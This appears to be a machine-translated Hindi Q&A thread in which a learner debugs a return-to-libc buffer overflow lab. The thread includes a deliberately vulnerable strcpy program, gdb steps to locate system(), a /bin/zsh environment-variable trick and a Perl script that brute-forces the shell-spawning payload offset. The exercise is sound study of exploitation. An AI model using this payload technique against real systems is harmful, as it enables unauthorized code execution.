2012-11-26 16 views
6

मैं बफर ओवरफ्लो के साथ गड़बड़ कर रहा हूं, खासकर libc तरह में वापसी।libc में लौटें - अवैध निर्देश

#include<stdio.h> 
#include<string.h> 

main(int argc, char **argv) 
{ 
    char buffer[80]; 
    getchar(); 
    strcpy(buffer, argv[1]); 
    return 1; 
} 

मैं का उपयोग कर जीसीसी-2.95 (कोई -fstack-protector) यह संकलित -mpreferred-stack-boundary=2 ध्वज के साथ:

मैं निम्नलिखित कमजोर कोड है। मैंने "Hacking: The Art of Exploitation" के libc अध्याय में वापसी का पालन किया।

पहले, मैं विकलांग ASLR:

$ cat /proc/sys/kernel/randomize_va_space 
0 

मैं system का पता पता चला:

$ cat find_system.c 
int main() { 
    system(""); 
    return 0; 
} 
$ gdb -q find_system 
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done. 
(gdb) break main 
Breakpoint 1 at 0x8048416 
(gdb) run 
Starting program: /home/bob/return_to_libc/find_system 

Breakpoint 1, 0x08048416 in main() 
(gdb) p system 
$1 = {<text variable, no debug info>} 0xb7eb6680 <system> 

मैं एक वातावरण चर बनाया आदेश को रोकने के लिए मैं system का उपयोग कर निष्पादित करने के लिए करना चाहते हैं:

$ cat get_env.c 
#include <stdio.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) { 
    printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1])); 
    return 0; 
} 
$ export EXPLOIT=/bin/zsh 
$ ./get_env EXPLOIT 
EXPLOIT=/bin/zsh: 0xbffff96d 

और फिर मैंने एक पर्ल स्क्रिप्ट स्वचालित करने के लिए बनाई खोल प्राप्त कर लिया:

$ cat script.pl 
#!/usr/bin/perl 

for ($i = 1; $i < 200; $i++) { 
    print "Perl count: $i\n"; 
    system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'"); 

} 
$ ./script.pl 
(...) 
Perl count: 69 
Perl count: 70 
Perl count: 71 
Perl count: 72 
Illegal instruction 
Perl count: 73 
Segmentation fault 
Perl count: 74 
Segmentation fault 
(...) 

मैं गलत कहां गया? मुझे अपने खोल के बजाय "अवैध निर्देश" क्यों मिलता है?

+0

डीबगर संलग्न करें और पता लगाएं (डीबगर को संलग्न करने के लिए पर्याप्त समय देने के लिए कमजोर कार्यक्रम में 'नींद (30)' फेंकना सुनिश्चित करें)। सबसे अधिक संभावना है, यह एक स्मृति पते पर कूद रहा है जो वैध है लेकिन इसमें डेटा शामिल है, निर्देश नहीं। –

उत्तर

6
$ gdb vuln 
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf' 

विभिन्न विफलताओं का परीक्षण करने के लिए 'ए' की संख्या को अलग करें। तर्क उत्पन्न करने के लिए उपयोगी होने के लिए python -c "print 'A'*73" (उपरोक्त उत्पादित करने के लिए उपयोग किया गया) ढूंढें।

जीडीबी आपको बताएगा कि आप कहां दुर्घटनाग्रस्त हो रहे हैं और आप क्रैश होने पर ईआईपी/आरआईपी में क्या हैं। यह आपको अपने प्रश्न के उत्तर में मार्गदर्शन करना चाहिए।

अधिकतर, आपको स्टैक पर वापसी पते में एक अच्छा सूचक नहीं मिल रहा है और निष्पादन स्मृति में लैंडिंग है जो मान्य निर्देशों को अलग नहीं करता है। मुझे लगता है कि तुम यहाँ हो। सेगमेंटियन दोषों को स्मृति के एक क्षेत्र में निष्पादन लैंडिंग होने की अधिक संभावना है जिसे आवंटित नहीं किया जाता है।

(gdb) x/10i $eip का उपयोग यह पता लगाने के लिए करें कि आप क्रैश होने पर ईआईपी पर कौन से निर्देश हैं। आप उस आदेश में 10 को बदलकर दिखाए गए डिस्सेप्लर की लंबाई बदल सकते हैं।

आपको यह पता लगाने की भी आवश्यकता होगी कि प्रणाली के लिए आपका तर्क ढेर पर लैंडिंग क्यों कर रहा है ताकि यह इसे कॉल करने के लिए सिस्टम को कॉल करने के लिए उचित कॉल में आयोजित कर सके। जीडीबी आपको यहां भी मदद करने में सक्षम होना चाहिए (फिर, x - x/4w का उपयोग करें - और i r)।

सफल शोषण के लिए उपरोक्त दोनों टुकड़ों की आवश्यकता होती है: 0xb7eb6680 वापसी पते में होना चाहिए और 0xbffff96d जहां भी सिस्टम इसे पढ़ने के लिए जा रहा है, वहां होना चाहिए।

एक अन्य सहायक चाल: strcpy फ़ंक्शन के अंत में ret पर ब्रेकपॉइंट सेट करें। यह आपके ढेर का निरीक्षण करने और राज्य पंजीकृत करने और यह पहचानने के लिए एक आसान जगह है कि आप क्या करने जा रहे हैं। ret वह जगह है जहां शोषण होता है: आपके द्वारा प्रदान किए जाने वाले रिटर्न पते को पढ़ा जाता है, प्रोसेसर उस पते पर निष्पादन करना शुरू कर देता है और आप मानते हैं कि आप जो भी कॉल कर रहे हैं, उसके लिए उचित तर्क के साथ निष्पादन को बनाए रख सकते हैं।इस ret पर कार्यक्रम का राज्य मेक या ब्रेक पॉइंट है, इसलिए यह देखने का सबसे आसान स्थान है कि आपके इनपुट में क्या गलत है और आप भेद्यता का सफलतापूर्वक उपयोग क्यों नहीं करेंगे या नहीं करेंगे।

मुझे माफ़ कर दो अगर मेरा जीडीबी सिंटैक्स बैंग नहीं है ... यह मेरा प्राथमिक डीबगर नहीं है।

+0

आपके उत्तर के लिए धन्यवाद। अंततः आपके सुझावों ने मुझे यह पता चला कि समस्या क्या थी। समस्या यह थी कि, किसी भी तरह, getenv() द्वारा दिया गया पता सुलभ नहीं था। मैंने 'पर्यावरण' से स्ट्रिंग प्राप्त करके इसे ठीक किया। –

संबंधित मुद्दे